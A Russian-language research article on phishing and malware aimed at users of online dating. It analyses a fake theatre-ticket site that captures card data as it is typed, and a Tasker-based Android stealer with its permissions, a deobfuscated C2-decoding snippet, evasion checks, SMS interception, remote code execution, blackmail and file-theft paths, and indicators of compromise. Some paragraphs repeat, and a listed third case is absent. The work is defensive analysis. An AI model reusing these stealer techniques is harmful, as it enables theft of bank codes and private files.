“Свидание с фишингом и стилерами: киберпреступность в эпоху одиночества”
# Содержание
- Введение
- Исходные данные
- Ситуации
- СИТУАЦИЯ №1 # PHISHING
[ Сайт ] Поход в театр с кражей платёжной информации; - СИТУАЦИЯ №2 # STEALER
[ Мобильное приложение ] Знакомства с кражей SMS из банка; - Предыстория
- Первый взгляд
- Tasker
- Telegram бот
- Проверка лицензии
- Общение с C&C сервером
- Обнаружение отладки
- Реакция на SMS и звонки
- Режим RAT
- "Спящий" режим
Сбор SMS сообщений, Сбор контактов + Режим шантажа, Рассылка SMS спама, Сбор локальных файлов; - Прочие заметки
Упоминания в X (Twitter), Индикаторы компрометации; - СИТУАЦИЯ №3 # RAT
[ Мобильное приложение ] Стриминговый сервис с удалённым контролем над устройством; - Прочие ситуации
- Фишинг
Сайты с кражей платёжной информации, Сообщения о взаимной симпатии с кражей данных учётной записи; - Эксплуатация
Архивы с интимными фотографиями и вредоносным ПО; - Пища для размышлений
# Введение
Скамеры и хакерские группировки не перестают использовать человеческие недостатки против пользователей Интернета. Стоит заметить, что с каждым годом число пострадавших от их действий лишь продолжает стремительно увеличиваться, а угрозы всё чаще встречаются в сервисах, направленных на победу над одиночеством, и, к слову, достигают пика в дни праздников, когда больше всего нужен кто-то рядом.
Не секрет, что с каждым годом проблема одиночества становится всё острее и критичнее, причём настолько, что можно говорить о настоящей эпидемии и это, к сожалению, даже не станет преувеличением. Современное решение – интернет-знакомства, но где технологии – там и новые способы атаковать. Жаль, но злоумышленники обязательно воспользуются любой технической возможностью и сугубо человеческой уязвимостью для достижения своей цели.
Мне стало интересно рассмотреть с технической точки зрения устройство элементов, использованных для атак на пользователей, которые встречались в последнее время в сфере Интернет-знакомств, в дейтинговых ботах и приложениях, а также напомнить про то, с помощью каких технологий атакующим удаётся вызывать доверие и даже симпатию, и о принципах минимизации рисков для себя, как пользователя.
Не секрет, что с каждым годом проблема одиночества становится всё острее и критичнее, причём настолько, что можно говорить о настоящей эпидемии и это, к сожалению, даже не станет преувеличением. Современное решение – интернет-знакомства, но где технологии – там и новые способы атаковать. Жаль, но злоумышленники обязательно воспользуются любой технической возможностью и сугубо человеческой уязвимостью для достижения своей цели.
Мне стало интересно рассмотреть с технической точки зрения устройство элементов, использованных для атак на пользователей, которые встречались в последнее время в сфере Интернет-знакомств, в дейтинговых ботах и приложениях, а также напомнить про то, с помощью каких технологий атакующим удаётся вызывать доверие и даже симпатию, и о принципах минимизации рисков для себя, как пользователя.
ВНИМАНИЕ!
Статья создана в ознакомительных целях и предназначена только для специалистов по анализу защищённости, которые проводят анализ защищённости ресурсов компании-заказчика строго на законных основаниях и на основании договора, заключенного с компанией-заказчиком. Автор не несёт ответственности за любой вред, причиненный с применением изложенной информации.
Распространение вредоносного ПО и нарушение работы систем преследуются по закону.
В статье намеренно скрыта чувствительная информация.
Статья создана в ознакомительных целях и предназначена только для специалистов по анализу защищённости, которые проводят анализ защищённости ресурсов компании-заказчика строго на законных основаниях и на основании договора, заключенного с компанией-заказчиком. Автор не несёт ответственности за любой вред, причиненный с применением изложенной информации.
Распространение вредоносного ПО и нарушение работы систем преследуются по закону.
В статье намеренно скрыта чувствительная информация.
# Исходные данные
Этот раздел об условиях, в которых проводилось изучение вопроса. Здесь – о том, как мы пришли к жизни такой, и о том, у кого и где выше шанс ст ать жертвой.
## Проблема одиночества
В современном мире среднестатистический человек ежедневно представлен огромному множеству разнообразных факторов, которые оказывают прямое влияние на качество социальных взаимодействий и, соответственно, на удовлетворение одной из самых базовых человеческих потребностей. Увеличивающийся объем времени, который порой просто необходимо проводить за телефоном или ноутбуком, отсутствие острой необходимости в посещении общественных мест в следствие развития всевозможных сервисов для заказа услуг, культура проактивной заботы о себе, которая может легко перейти грань и превратиться в прославление эгоцентризма и отказ от общества в пользу себя, ... – всё это – отражение повседневной реальности, которая непременно оставляет некоторый след на каждом представителе поколения, как на члене социума.
Одиночество – одна из главных тем социальных исследований и, как одна из острых проблем целого мира, в том числе она задела и Россию. Вот, к примеру, настораживающие выдержки из научной работы НИУ ВШЭ о жителях России, испытывающих давление одиночества:
А вот статистика одиноких людей – тех граждан, что проживают самостоятельно, в рамках "домохозяйства", состоящего всего из одного человек а, по данным Росстата:

Некоторые видят в одиночестве что-то высокое и находят в нём зону комфорта. Тем не менее, нельзя отрицать, что тянущее ощущение одиночества – это отклик организма на неудовлетворение потребности, который по определению не может быть приятным, это гложущее чувство, призванное подтолкнуть человека ко вполне определенному действию – социальному взаимодействию. С приходом этого чувства, любое, даже осознанное, уединение перестаёт быть оздоровительным. И каждый, кто переживал одиночество, знает, что с ним тяжело справиться самостоятельно.
Число факторов, подливающих масло в огонь проблемы одиночества, становится всё больше, а потому – и число онлайн сервисов, предлагающих услуги, направленные на борьбу с одиночеством, начиная от приложений для интернет-знакомств и заканчивая сервисами подписки на контент, и число людей, кто прибегает к использованию таких сервисов в поиске избавления от неприятных чувств:

Dating App Downloads Explode After Years of Stagnation
Исследования аналитических центров говорят о том, что в России – более 2/3 молодых россиян регистрировались на сайтах или в мобильных приложениях для онлайн-знакомств, а 1/4 пользуется ими в настоящий момент.
Одиночество – одна из главных тем социальных исследований и, как одна из острых проблем целого мира, в том числе она задела и Россию. Вот, к примеру, настораживающие выдержки из научной работы НИУ ВШЭ о жителях России, испытывающих давление одиночества:
Оказалось, что в России свыше 43% испытывают в той или иной мере одиночество. <...> Но и молодость одиночеству не преграда. С ним сталкивается около трети 14–29-летних россиян.
Источник: НИУ ВШЭ
Источник: НИУ ВШЭ
А вот статистика одиноких людей – тех граждан, что проживают самостоятельно, в рамках "домохозяйства", состоящего всего из одного человек а, по данным Росстата:

Более 40% домохозяйств в России состоят из одного человека, а их доля выросла вдвое за 20 лет, показала перепись. <...> Среди причин роста числа одиночек — позднее вступление в брак. <...> Преобладание одиночек в составе домохозяйств зафиксировано впервые за всю историю переписей населения в Российской Федерации.
Источник: РБК
Источник: РБК
Некоторые видят в одиночестве что-то высокое и находят в нём зону комфорта. Тем не менее, нельзя отрицать, что тянущее ощущение одиночества – это отклик организма на неудовлетворение потребности, который по определению не может быть приятным, это гложущее чувство, призванное подтолкнуть человека ко вполне определенному действию – социальному взаимодействию. С приходом этого чувства, любое, даже осознанное, уединение перестаёт быть оздоровительным. И каждый, кто переживал одиночество, знает, что с ним тяжело справиться самостоятельно.
Число факторов, подливающих масло в огонь проблемы одиночества, становится всё больше, а потому – и число онлайн сервисов, предлагающих услуги, направленные на борьбу с одиночеством, начиная от приложений для интернет-знакомств и заканчивая сервисами подписки на контент, и число людей, кто прибегает к использованию таких сервисов в поиске избавления от неприятных чувств:

Исследования аналитических центров говорят о том, что в России – более 2/3 молодых россиян регистрировались на сайтах или в мобильных приложениях для онлайн-знакомств, а 1/4 пользуется ими в настоящий момент.
## Моя мужская личность
Несмотря на то, что результаты исследований переживания одиночества демонстрируют примерно одинаковое гендерное распределение, среди пользователей дейтинговых сервисов преобладают мужчины. Сервис "Мамба" поделился, что более половины их аудитории составляют мужчины. А вот так выглядит статистика известного Tinder:

Tinder gender ratios, as of May 2023
Мужчины чаще, чем женщины, ставят лайк, вместо того, чтобы свайпать, и реже получают взаимные лайки:

Despite being far more selective, women still match more frequently than men on Tinder
В том числе поэтому мужчины чаще становятся жертвами злоумышленников в сфере интернет-знакомств: представляясь красивой девушкой, атакующим проще установить канал связи, поскольку снижается вероятность свайпа, проще расположить к себе и добиться доверия для того, чтобы атакуемый выполнил какие-либо дополнительные действия (воспользовался сайтом, установил приложение, исполнил файл с вредоносной нагрузкой, ...).
Чтобы взглянуть на ситуацию поближе, я создала Никиту, после чего – зарегистрировала его в нескольких социальных сетях, мессенджерах и приложениях для знакомств, добавила его в тематические группы и запустила чат-ботов.

Мужчины чаще, чем женщины, ставят лайк, вместо того, чтобы свайпать, и реже получают взаимные лайки:

В том числе поэтому мужчины чаще становятся жертвами злоумышленников в сфере интернет-знакомств: представляясь красивой девушкой, атакующим проще установить канал связи, поскольку снижается вероятность свайпа, проще расположить к себе и добиться доверия для того, чтобы атакуемый выполнил какие-либо дополнительные действия (воспользовался сайтом, установил приложение, исполнил файл с вредоносной нагрузкой, ...).
Чтобы взглянуть на ситуацию поближе, я создала Никиту, после чего – зарегистрировала его в нескольких социальных сетях, мессенджерах и приложениях для знакомств, добавила его в тематические группы и запустила чат-ботов.


| ФИО | Шереметьев Никита Константинович |
|---|---|
| Пол | Мужской |
| Возраст | 24 года |
| День рождения | 13.01.2000 |
| Город | Москва |
| Телефон | +7 (* * *) * * * * (виртуальный) |
| Почта | * * * * @ * * * (временная) |
| Никнейм | @ * * * * * |
# Ситуации
За неделю притворства несуществующим молодым человеком, я часто свайпала вправо и ставила лайки в каждом из сервисов, но принципиально не начинала диалог первой (и, кстати, зря, ведь позже оказалось, что Telegram ограничивает отправку сообщений для аккаунтов, к которым привязаны виртуальные номера: они не могут написать первыми, а значит я упустила некоторое число потенциальных злоумышленников и вредоносных ссылок / файлов).
Несмотря на неинициативность, Никите написало несколько женских аккаунтов, большинство из которых оказалось без благих намерений. То, что они распространяли, стало материалом для моего исследования.
Описанные ниже ситуации наглядно демонстрируют то, как обстоит ситуация с вредоносным ПО в сфере интернет-знакомств в современных реалиях, и содержат информацию о:
Несмотря на неинициативность, Никите написало несколько женских аккаунтов, большинство из которых оказалось без благих намерений. То, что они распространяли, стало материалом для моего исследования.
Описанные ниже ситуации наглядно демонстрируют то, как обстоит ситуация с вредоносным ПО в сфере интернет-знакомств в современных реалиях, и содержат информацию о:
- Техниках социальной инженерии
- Технических особенностях каждого экземпляра
- Последствиях для атакуемого
- Данных для выявления вредоносных экземпляров
## Ситуация №1
Поход в театр с кражей платёжной информации;
##~ Интерфейс сайта
Первая девушка предложила встрет иться и сходить в театр, да ещё и показала сайт, где можно приобрести билеты. Это один из самых известных сценариев обмана пользователей, которые ищут знакомств, но, несмотря на известность, его популярность продолжает расти, а покрытие – расширяться за пределы страны.
Доменное имя короткое и звучное, разве что домен верхнего уровня = "
Доменное имя короткое и звучное, разве что домен верхнего уровня = "
.online". Страницы сайта выглядят неплохо: подключены виджеты для общения с поддержкой и оформления заявки на заказ обратного звонка, есть информационные разделы и даже новости, в частности – предостережение о сайтах-двойниках:
На сайте представлен список спектаклей с возможностью оформить заказ билетов на ближайшие даты, предварительно просмотрев схему частично заполненного зала для выбора интересующих мест:

Первый звоночек: страница заказа. Исполняемый скрипт содержит опечатку в названии (
ordening.php), беспрекословно принимает цену из параметра запроса amount и содержит обработку промокодов (доступны промокоды CLUB15FREE и NEWYEAR15):
##~ Интерфейс оплаты
Оплата подразумевает перенаправление пользователя на другой, не менее звучный домен, который содержит подстроку "3-DS", вызывая ассоциацию с технологией обеспечения безопасности онлайн-платежей 3-D Secure. В этот раз домен верхнего уровня = "
Интерфейс предлагает пользователю на выбор несколько способов оплаты:
.ru".Интерфейс предлагает пользователю на выбор несколько способов оплаты:

От выбора способа оплаты зависит перенаправление на следующий интерфейс.
Второй важный звоночек: в случае СБП пользователю банально предлагается произвести оплату самостоятельно, по реквизитам: номеру телефона или номеру карты, который изменяется приблизительно раз в сутки:
Второй важный звоночек: в случае СБП пользователю банально предлагается произвести оплату самостоятельно, по реквизитам: номеру телефона или номеру карты, который изменяется приблизительно раз в сутки:

В случае выбора банка перед пользователем отрисовывается форма для ввода карты. По клику на кнопку оплаты, скрипт проверяет заполнение формы и префикс номера карты, и, в случае соответствия требуемым условиям, показывает анимацию установки соединения с банком:

Третий важный звоночек: если взглянуть на вывод инструментов разработчика, можно заметить, что вводимая пользователем платежная информация последовательно, по мере её ввода, отправляется на сервер в качестве параметра запроса
bin. Это могла бы быть обычная проверка банковского идентификационного номера, но в данном случае скрипт не ограничивается обработкой БИН. Техника обеспечивает злоумышленникам дополнительный способ извлечения вводимой информации, ведь даже если пользователь что-то заподозрит и передумает кликать на кнопку оплаты, запись его нажатий на клавиши в рамках формы будет отправлена на сервер и её можно будет найти среди логов:
##~ Генерация билетов
Четвёртый важный звоночек: перебор конечных точек приводит к обнаружению перечня путей, которые нельзя найти в ссылках среди фронтенда. Главный среди них – путь
/generate, который открывает перед пользователем интерфейс генерации билетов. Злоумышленники позаботились о сообщниках, разработав форму для генерации электронных чеков в один клик, для удобства дополнив её инструкцией по использованию и извлечению выгоды:

В конечном итоге ресурс был заблокирован на территории Российской Федерации и ныне доступен лишь при условии использования VPN.
## Ситуация №2
Знакомства с кражей SMS из банка;
##~ Предыстория
Со второй девушкой мы познакомились в приложении для знакомств. Она первой поставила лайк и первой написала в личные сообщения. Предложила перейти в Telegram, скинув свой ник, ссылаясь на тот факт, что мессенджер ей гораздо понятнее и удобнее.
Помимо прочего, она вела личный Telegram-канал. Там она пообещала поделиться с подписчиками фотографиями (при условии приглашения друзей на канал) и выложила APK-файлы: приложения сборника стихов и чата, где, как она уверяет, проводит много времени.
Помимо прочего, она вела личный Telegram-канал. Там она пообещала поделиться с подписчиками фотографиями (при условии приглашения друзей на канал) и выложила APK-файлы: приложения сборника стихов и чата, где, как она уверяет, проводит много времени.

Файлы "
Вот мои стихи.apk" и "Знакомства 18+.apk" имеют совпадающий размер. При близком рассмотрении оказалось, что в приложениях содержится одна и та же функциональность, с небольшой разницей в отрисовке, потому далее я рассмотрю лишь один файл.##~ Первый взгляд
Приложение
Знакомства 18+ указывает следующие аппаратные способности, как необходимые:android.hardware.faketouchandroid.hardware.telephony
accessibility. На иконке приложения изображено сердце:
Запрашиваемые права в соответствии с
Активности:
Сервисы:
Ресиверы:
AndroidManifest.xml:android.permission.CALL_PHONE
android.permission.DISABLE_KEYGUARD
android.permission.DRAW_OVERLAYS
android.permission.EXPAND_STATUS_BAR
android.permission.FOREGROUND_SERVICE
android.permission.INTERNET
android.permission.QUERY_ALL_PACKAGES
android.permission.READ_CALL_LOG
android.permission.READ_CONTACTS
android.permission.READ_EXTERNAL_STORAGE
android.permission.READ_PHONE_STATE
android.permission.READ_SMS
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.RECEIVE_SMS
android.permission.SCHEDULE_EXACT_ALARM
android.permission.SEND_SMS
android.permission.SYSTEM_ALERT_WINDOW
android.permission.VIBRATE
android.permission.WAKE_LOCK
android.permission.WRITE_CONTACTS
android.permission.WRITE_EXTERNAL_STORAGE
android.permission.WRITE_SMS
disabled_android.permission.READ_CALENDAR
disabled_android.permission.WRITE_CALENDAR
net.dinglisch.android.taskerm.Kid, net.dinglisch.android.taskerm.ProxyTransparent, net.dinglisch.android.taskerm.DummyActivity, net.dinglisch.android.taskerm.SceneActivity, net.dinglisch.android.taskerm.SceneActivityResize, com.joaomgcd.taskerm.genericaction.ActivityGenericAction, com.joaomgcd.taskerm.genericaction.ActivityGenericActionForResultnet.dinglisch.android.taskerm.ExecuteService, net.dinglisch.android.taskerm.MonitorService, net.dinglisch.android.taskerm.MyAccessibilityService, com.joaomgcd.taskerm.plugin.ServiceRequestQuery, com.joaomgcd.taskerm.plugin.ServicePluginFinished, com.joaomgcd.taskerm.genericaction.ActivityGenericAction, com.joaomgcd.taskerm.genericaction.ServiceGenericActionJobs –
–
net.dinglisch.android.taskerm ReceiverStaticAlwaysOn (net.dinglisch.android.taskerm.WILLYUM, net.dinglisch.android.taskerm.AWAKEY, android.intent.action.BOOT_COMPLETED, android.intent.action.PACKAGE_ADDED, android.intent.action.PACKAGE_REPLACES, android.intent.action.PACKAGE_REMOVED, android.intent.action.MY_PACKAGE_REPLACED);–
net.dinglisch.android.taskerm ReceiverStaticInternal (android.intent.action.DATE_CHANGED, android.intent.action.TIME_SET, android.intent.action.TIMEZONE_CHANGED, net.dinglisch.android.tasker.SMSEY);Кроме того, значение версии
android:versionName в AndroidManifest.xml содержит любопытную структуру с указанием названия команды, имени и ника пользователя и идентификатора чата в Telegram:
##~ Tasker
Код, полученный после декомпиляции APK, был сильно обфусцирован, но в нём прослеживались следующие возможности:
- Открытие файлов:
- Исполнение команд:
- ...и многие другие функции, включая запись экрана, поднятие туннелей WireGuard, исполнение команд через Termux, взаимодействие с Google Drive и прочее;




Все эти функции оказались возможностями, предоставляемыми Tasker – проблемно-ориентированным языком сценариев для создания Android приложений, которые выполняли бы определённ ые действия на основе контекста, условий. Он используется для автоматизации задач без ручного программирования. Вот список, содержащий прочие классы, отмеченные как
@TaskerOutputObject в анализируемом приложении:
Дополнительно была обнаружена версия Tasker, которая использовалась создателями приложения –
Tasker(6.1.32), marketNoTrialRelease:
В результате изучения особенностей работы Tasker (для выявления специфичных для создаваемых таким образом приложений методов анализа, способов деобфускации или иных возможностей восстановления исходного кода) выяснилось, что в ходе экспорта готового APK, Tasker упаковывает внутрь приложения XML файл по пути
К тому же, что самое главное, такие файлы можно использовать для импорта проекта в Tasker:
assets/kid/data.xml, который содержит все профили, сцены и задачи, которые необходимы проекту.К тому же, что самое главное, такие файлы можно использовать для импорта проекта в Tasker:

Действительно, попытка импорта проекта из файла
assets/kid/data.xml, который был извлечён из вредоносного приложения, привела к успеху, и стал возможным просмотр списка профилей, задач, сцен и переменных в удобном формате графического интерфейса:
Одна из сцен и вовсе представляет из себя просто вопиющее пользовательское соглашение:

##~ Telegram бот
Задачи, как, например, реакция на звонок или SMS, подразумевают отправку сообщений, уведомление ответственного лица о событии через Telegram бот. Это прослеживается как в самих задачах, так и в переменных: среди них можно найти переменные для хранения значения токена от Telegram бота и идентификаторов чатов.
Занимательно, что благодаря этому токену становится возможным управление ботом злоумышленников: например, выгрузка диалогов и раскрытие аккаунтов в Telegram, которые запускали этого бота. Telegram Bot Dumper – один из инструментов, который может упростить задачу в случае нахождения такого токена.
На момент публикации статьи токен бота был сброшен его владельцем и более не доступен для взаимодействия.


Параметры "
Команда", "Ник" и "Чат_ID", которые, как было упомянуто, располагаются в AndroidManifest.xml внутри android:versionName, используются как раз в рамках этого логического модуля вредоносного экземпляра. Они нужны приложению для записи значений в сообщения, посылаемые ботом в административный чат, видимо, для удобной атрибуции событий и сопоставления результатов с командами и отдельными подчинёнными в пределах каждой команды.Разделение чатов на обычные и административные вкупе с необходимостью в указании названия команды наталкивает на мысль: пользователь, обладающий административным правом, получает информацию сразу из нескольких команд.
##~ Проверка лицензии
В модуле "Старт", ответственном за развёртывание среды, то есть исполнение действий с запуском вредоносного приложения, таких как определение параметров и настройка соединения с C2 сервером, реализована проверка некой лицензии и хеша:
- Дата окончания срока действия лицензии
licensedateсравнивается с текущей датой; - Хеш дропа
cardhash1, полученный с сервера, сравнивается со значениемcardhash2, которое вычисляется путём перемножения подстрок значения карты дропаCARD;

В случае, если лицензия истекла, либо значения хешей не совпали, исполнение программы останавливается и администратору поступает уведомление об использовании истёкшей, либо взломанной версии вредоносного приложения с указанием идентификатора пользователя, оператора и информации о заражённом устройстве.
Исходя из наличия такого логического блока, можно сделать вывод о продаже этого вредоносного ПО третьим лицам, причём лишь на некоторый срок, видимо, в соответствии с оплачиваемым тарифом.
Исходя из наличия такого логического блока, можно сделать вывод о продаже этого вредоносного ПО третьим лицам, причём лишь на некоторый срок, видимо, в соответствии с оплачиваемым тарифом.
##~ Общение с C&C сервером
Как было упомянуто, в этом же модуле происходит настройка соединения для взаимодействия с C2 сервером. Имя хоста и порт для подключения к управляющему серверу извлекаются путём прохождения через шаги обфусцированного алгоритма, который производит действия над переменными
key, symbols и serverinput, значения которых заданы изначально.
Код легко деобфусцировать: онлайн-сервис для деобфускации deobfuscate.io определил, что код был обфусцирован с помощью obfuscator.io и предложил использовать специальный сервис obf-io.deobfuscate.io.
После деобфускации и преобразования других частей алгоритма из шагов проекта в код на JavaScript, алгоритм стал выглядеть следующим образом:
var key = '******';
key = key.split('').reverse().join('');
key = atob(key);
var serverinput = '************';
var input = serverinput.split('').reverse().join('');
input = atob(input);
const decipher = AAAA => {
const BBBB = CCCC => CCCC.split('').map(DDDD => DDDD.charCodeAt(0x0));
const EEEE = FFFF => BBBB(AAAA).reduce((GGGG, HHHH) => GGGG ^ HHHH, FFF);
return IIII => IIII.match(/.{1,2}/g).map(JJJJ => parseInt(JJJJ, 0x10)).map(EEEE).map(KKKK => String.fromCharCode(KKKK)).join('');
}
const myDecipher = decipher(key);
var output = myDecipher(input);
Результат выполнения алгоритма, значение переменной
output – ссылка на статью в telegra[.]ph. Она записывается в переменную dataserver, после чего к ней выполняется запрос для извлечения из статьи имени хоста и порта C2 сервера и их записи в переменные. Примечательно, что статья в Telegraph может быть отредактирована автором в любой момент. В случае данного приложения конечный управляющий сервер размещался на сервисе создания временных туннелей между локальным компьютером и Интернетом ngrok-free[.]app.Взаимодействие с сервером организовано через запросы к конечным точкам:
%URL/get_json– получает JSON со значениями параметров, например, идентификаторов Telegram чатов, которые записываются в соответствующие переменные;%URL/send_text– отправляет собранные данные в формате JSON;%URL/send_file– отправляет украденные файлы;
##~ Обнаружение отладки
При каждом открытии пользователем приложения активируется модуль "Открытие приложения", который, среди прочего, обнаруживает использование прокси для перехвата и последующего анализа трафика и проверяет, исполняется ли программа в эмулированной среде.

Проверка использования прокси заключается в проверке наличия пакета
com.guoshi.httpcanary среди приложений, установленных на устройстве, и HTTP Toolkit Certificate.crt в папке Download.Проверка исполнения в виртуальной среде заключается в проверке имени заражённого устройства на соответствие перечню названий, намекающих на использование эмулятора, таких как, например:
VirtualBox, Virtual Machine, Google mainline и другие.В случае положительного результата процедур выявления признаков использования прокси или эмулятора:
- Изменяются значения параметров, используемых для отправки сообщений оператору вредоносного ПО: токен для Telegram бота
TOKEN, идентификатор чатаchatid, ссылку на статью в Telegraphdataserver - Оператор уведомляется об обнаружении виртуальной среды
- Выполнение модуля принудительно завершается
##~ Реакция на SMS и звонки
> Реакция на звонки
Вредоносное приложение реагирует на поступающие звонки, причём его поведение зависит от вызывающего абонента и определено в связанных профилях "Получен звонок (другое)" и "Получен звонок (Сбер)":
- Если номер вызывающего абонента отличается от 900: активируется модуль "Получен звонок (другое)", который логирует информацию о звонке в специальный чат в Telegram;
- Если номер вызывающего абонента равен 900: активируется модуль "Получен звонок (Сбер)", который уведомляет оператора о неудаче в связи со звонком с номера 900 и переходит в "Спящий" режим, описанный далее;

Реакция на поступающие SMS сообщения точно так же разнится в зависимости от номера отправителя и определена в модулях "Получено СМС (другое)" и "Получено СМС (Сбер)".
> Реакция на SMS не от 900
Содержимое SMS сообщений, полученных с номеров, отличных от 900, сравнивается с целым перечнем шаблонов сообщений о платёжных операциях от различных банков и сервисов. Приложение действует исходя из наличия той или иной подстроки в SMS, в частности:
- отвечает на сообщения, которые требуют подтверждения операции с помощью ответной SMS с заданным значением
- логирует информацию: уведомляет оператора о каждом событии, отталкиваясь от информации в сообщениях
- подсчитывает выгоду, которую потенциально может извлечь оператор из обрабатываемого события

> Реакция на SMS от 900
В случае со входящими SMS сообщениями с номера 900 ситуация схожа: содержимое каждого такого сообщения сопоставляется со списком шаблонов, проверяется на наличие подстрок, которые обозначали бы ту или иную операцию, и обрабатывается в соответствии с классифицированным событием. Вредоносный модуль "Получено СМС (Сбер)" производит те же действия, что и "Получено СМС (другое)": уведомляет оператора о событиях, логирует собранную информацию, подсчитывает потенциальную выгоду и при необходимости отправляет ответы на SMS – но всё это он делает с учётом специфики взаимодействия с конкретным банком. Этот модуль поддерживает обработку большего числа возможных вариантов взаимодействия пользователя с целевым банком и учитывает больший перечень ошибок, которые могут возникнуть в процессе, чем аналогичный ему, с отметкой "(другое)":

##~ Режим RAT
Вредоносное приложение имеет несколько режимов работы, статус активации которых определяется при развёртывании приложения.
Здесь же, среди шагов модуля "Получено СМС (другое)" можно наблюдать проявление дополнительного вектора поведения – выполнение действий, доступных при работе в режиме RAT:
- Если
ratrequest1равен "СМС": с заражённого устройства отправляется произвольное SMS, причём его содержимое (ratrequest4) и номер получателя (ratrequest3) настраиваются оператором вредоносного приложения; - Если
ratrequest1равен "Звонок": с заражённого устройства инициируется исходящий звонок по номеру телефона (ratrequest3), который задаёт оператор вредоносного ПО; - Если
ratrequest1равен "Код": на заражённом устройстве исполняется произвольный JavaScript код (ratrequest2), который задаёт оператор вредоносного ПО, причём код передаётся как строка, над которой производитсяeval(). Выполнение скрипта становится возможным благодаря JavaScriptlet, реализованным в Tasker, которые поддерживают исполнениие JavaScript кода в элементах задач и WebView;

##~ "Спящий" режим
В некоторых ситуациях, включая те, которые могут говорить о вероятном обнаружении пользователем вредоносных элементов приложения, выполнение переходит к модулю "Спящий режим". Ярким примером такой ситуации может послужить официальный звонок из целевого банка, обработку которого можно было наблюдать на скриншотах выше.
В зависимости от настроек приложения, которые были установлены при его развёртывании, "спящий" режим включает в себя сразу несколько любопытных поведенческих подмодулей:
> Сбор SMS сообщений
- Если подключен чат для сбора сообщений (
MESSAGESCHATID): - Приложение делает запросы к
content://sms/inboxиcontent://sms/sent, благодаря чему получает содержимое входящих и исходящих SMS сообщений, которые хранятся на заражённом устройстве, соответственно; - Записывает полученное содержимое соответственно в локальные файлы "
Входящие сообщения (ID %USERID).txt" и "Исходящие сообщения (ID %USERID).txt", гдеUSERID– идентификатор пользователя; - Отправляет сгенерированные файлы на C2 сервер;
- Уведомляет оператора вредоносного ПО об успешном получении логов SMS сообщений с заражённого устройства;
- Удаляет сгенерированные локальные файлы, заметая за собой следы;

> Сбор контактов + Режим шантажа
- Если подключен чат для сбора контактов (
CONTACTSCHATID): - Приложение делает запрос к
content://com.android.contacts/data/phones, благодаря чему получает отображаемые имена и номера телефонов из контактной книги заражённого устройства; - Если при этом активирован режим шантажа (
BLACKMAIL): создаёт локальный файл "ВАЖНАЯ ИНФОРМАЦИЯ.txt", в котором пользователю докладывают о взломе устройства, доказывая это предоставлением списка контактов, и требуют в течение одной недели перевести деньги на карту взамен на удаление краденных данных на стороне операторов вредоносного ПО; - Уведомляет оператора вредоносного ПО об успешном получении списка контактов с заражённого устройства;


> Рассылка SMS спама
- Если активирован режим рассылки спама по списку контактов (
SPAMCONTACTS): - Приложение делает запрос к
content://com.android.contacts/data/phones, благодаря чему получает отображаемые имена и номера телефонов из контактной книги заражённого устройства; - Каждому контакту с заражённого устройства отправляется SMS сообщение с содержимым, которое задаётся оператором вредоносного ПО;
- Если активирован режим рассылки спама по списку случайных номеров (
SPAMRANDOMS): - Приложение циклично форми рует случайное значение номера телефона;
- Каждому абоненту, чей номер был получен вследствие генерации номеров телефонов, с заражённого устройства отправляется SMS сообщение с содержимым, которое задаётся оператором вредоносного ПО;

> Сбор локальных файлов
- Если активирован режим кражи локальных файлов (
STEALINGFILES): - Выполнение переходит к вредоносному модулю "Менеджер кражи файлов";
- В зависимости от статуса подключения специальных чатов, приложение крадёт файлы, располагающиеся на заражённом устройстве внутри конкретных каталогов. Оно собирает целевые файлы в массивы и направляет их в модуль "Алгоритм кражи файлов", в котором файлы проходят дополнительную обработку и отправляются на C2 сервер:
- Если подключен чат для сбора фотографий, снятых на камеру устройства (
CAMERACHATID), то собирает файлы по путям:DCIM/Camera
DCIM/Selfie
DCIM/Video
DCIM/Panorama - Если подключен чат для сбора скриншотов (
SCREENSHOTCHATID), то собирает файлы по путям:DCIM/Screenshots - Если подключен чат для сбора загруженных файлов (
DOWNLOADCHATID), то собирает файлы по путям:Download - Если подключен чат для сбора других файлов (
OTHERCHATID), то собирает файлы по путям:WhatsApp/Media/WhatsApp Images
WhatsApp/Media/WhatsApp Images/Sent
WhatsApp/Media/WhatsApp Images/Private
WhatsApp/Media/WhatsApp Video
WhatsApp/Media/WhatsApp Video/Sent
WhatsApp/Media/WhatsApp Video/Private
WhatsApp/Media/WhatsApp Audio
WhatsApp/Media/WhatsApp Audio/Sent
WhatsApp/Media/WhatsApp Audio/Private
WhatsApp/Media/WhatsApp Documents
WhatsApp/Media/WhatsApp Documents/Sent
WhatsApp/Media/WhatsApp Documents/Private
Telegram/Telegram Images
Telegram/Telegram Video
Telegram/Telegram Audio
Telegram/Telegram Documents
Telegram/Telegram Files
Pictures/Telegram
Pictures/Viber
Pictures/Odnoklassniki
Pictures/Instagram

##~ Прочие заметки
> Упоминания в X (Twitter)
Тематика приложений, за фасадом которых скрывается вредоносная функциональность, совпадающая с вышеописанной, оказалась разнообразна, для охвата большей аудито рии и заражения большего числа устройств.
Беглый поиск в Интернете упоминаний сигнатур, связанных с рассматриваемым приложением, привёл меня к обнаружению нескольких отчётов, автоматически сгенерированных онлайн-песочницами, об анализе похожих APK, варьирующихся от приложений, которые можно отнести к сфере Интернет-знакомств (приватные чаты, сервисы подписки на контент), до "взломанных" версий мессенджеров.
В том числе злоумышленники использовали и другие острые темы, привлекающие внимание общественности. Так аккаунт Malware Hunter Team публиковал в X пост о другом представителе этого семейства вредоносных приложений:

> Индикаторы компрометации
| Filename | Вот мои стихи.apk |
|---|---|
| MD5 | d77e319cc5d06275f78ab15bd5387244 |
| SHA1 | 8bff0412612bb46fc565ef4cb91948879f45d7bc |
| SHA256 | d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688 |
| VirusTotal | virustotal.com/gui/file/d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688 |
| Filename | Знакомства 18+.apk |
|---|---|
| MD5 | d77e319cc5d06275f78ab15bd5387244 |
| SHA1 | 8bff0412612bb46fc565ef4cb91948879f45d7bc |
| SHA256 | d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688 |
| VirusTotal | virustotal.com/gui/file/d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688 |
| Filename | OnlyFans (9).apk |
|---|---|
| MD5 | d77e319cc5d06275f78ab15bd5387244 |
| SHA1 | 8bff0412612bb46fc565ef4cb91948879f45d7bc |
| SHA256 | d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688 |
